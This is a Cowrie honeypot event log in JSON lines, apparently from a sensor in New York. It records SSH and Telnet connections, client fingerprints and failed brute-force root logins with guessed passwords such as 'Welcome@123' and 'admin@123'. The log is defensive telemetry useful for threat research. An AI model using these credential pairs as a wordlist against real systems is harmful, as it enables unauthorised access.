{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":36124,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ad36c85293","protocol":"ssh","message":"New connection: 89.223.127.55:36124 (10.17.0.5:22) [session: a4ad36c85293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.518010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.522673Z","src_ip":"89.223.127.55","session":"a4ad36c85293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.636586Z","src_ip":"89.223.127.55","session":"a4ad36c85293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.795505Z","src_ip":"45.153.34.112","session":"0e91a74b5f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369a","message":"login attempt [root/147258369a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:13.981029Z","src_ip":"89.223.127.55","session":"a4ad36c85293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:14.887277Z","src_ip":"45.153.34.112","session":"0e91a74b5f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58838,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6546fa0b4c","protocol":"ssh","message":"New connection: 38.93.206.2:58838 (159.203.135.109:22) [session: 9c6546fa0b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:14.905565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:14.910867Z","src_ip":"38.93.206.2","session":"9c6546fa0b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:14.971062Z","src_ip":"38.93.206.2","session":"9c6546fa0b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:15.097774Z","src_ip":"89.223.127.55","session":"a4ad36c85293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patriot","message":"login attempt [root/patriot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:15.131711Z","src_ip":"38.93.206.2","session":"9c6546fa0b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:16.199352Z","src_ip":"38.93.206.2","session":"9c6546fa0b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57872,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c4839c9d44","protocol":"ssh","message":"New connection: 45.153.34.112:57872 (10.17.0.5:22) [session: 73c4839c9d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:16.900628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:16.905455Z","src_ip":"45.153.34.112","session":"73c4839c9d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:16.988772Z","src_ip":"45.153.34.112","session":"73c4839c9d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85691714286804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:17.060757Z","src_ip":"192.119.13.58","session":"4a3eca562e62","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:17.239292Z","src_ip":"45.153.34.112","session":"73c4839c9d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:18.325075Z","src_ip":"45.153.34.112","session":"73c4839c9d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.008965969085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:19.319612Z","src_ip":"192.119.13.58","session":"c43dd2543f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44094,"dst_ip":"10.17.0.5","dst_port":22,"session":"93823342e78d","protocol":"ssh","message":"New connection: 45.153.34.112:44094 (10.17.0.5:22) [session: 93823342e78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:20.364389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:20.369074Z","src_ip":"45.153.34.112","session":"93823342e78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:20.454031Z","src_ip":"45.153.34.112","session":"93823342e78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:20.701476Z","src_ip":"45.153.34.112","session":"93823342e78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:21.786900Z","src_ip":"45.153.34.112","session":"93823342e78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43542,"dst_ip":"10.17.0.5","dst_port":23,"session":"3059624a29bd","protocol":"telnet","message":"New connection: 192.119.13.58:43542 (10.17.0.5:23) [session: 3059624a29bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:22.461403Z"}
{"eventid":"cowrie.session.closed","duration":37.5268816947937,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:24.056881Z","src_ip":"192.119.13.58","session":"945f71b29d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44106,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0cf26ce9b9f","protocol":"ssh","message":"New connection: 45.153.34.112:44106 (10.17.0.5:22) [session: b0cf26ce9b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:24.103280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:24.107876Z","src_ip":"45.153.34.112","session":"b0cf26ce9b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:24.191041Z","src_ip":"45.153.34.112","session":"b0cf26ce9b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:24.438797Z","src_ip":"45.153.34.112","session":"b0cf26ce9b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.74546813964844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:25.052338Z","src_ip":"192.119.13.58","session":"793ef98c5efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:25.524346Z","src_ip":"45.153.34.112","session":"b0cf26ce9b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":46630,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3b8bcd572c","protocol":"ssh","message":"New connection: 81.9.145.130:46630 (10.17.0.5:22) [session: 7c3b8bcd572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:26.150043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:26.155333Z","src_ip":"81.9.145.130","session":"7c3b8bcd572c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:26.272799Z","src_ip":"81.9.145.130","session":"7c3b8bcd572c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temp1","message":"login attempt [root/temp1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:26.762920Z","src_ip":"81.9.145.130","session":"7c3b8bcd572c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44122,"dst_ip":"10.17.0.5","dst_port":22,"session":"20939194cb83","protocol":"ssh","message":"New connection: 45.153.34.112:44122 (10.17.0.5:22) [session: 20939194cb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:27.560738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:27.565608Z","src_ip":"45.153.34.112","session":"20939194cb83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:27.649012Z","src_ip":"45.153.34.112","session":"20939194cb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:27.881379Z","src_ip":"81.9.145.130","session":"7c3b8bcd572c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:27.918547Z","src_ip":"45.153.34.112","session":"20939194cb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.73863506317139,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:28.824373Z","src_ip":"192.119.13.58","session":"eb686d79c1ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:29.089247Z","src_ip":"45.153.34.112","session":"20939194cb83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49254,"dst_ip":"10.17.0.5","dst_port":22,"session":"02415e9313b0","protocol":"ssh","message":"New connection: 45.153.34.112:49254 (10.17.0.5:22) [session: 02415e9313b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:31.361997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:31.367505Z","src_ip":"45.153.34.112","session":"02415e9313b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:31.450288Z","src_ip":"45.153.34.112","session":"02415e9313b0","protocol":"ssh"}
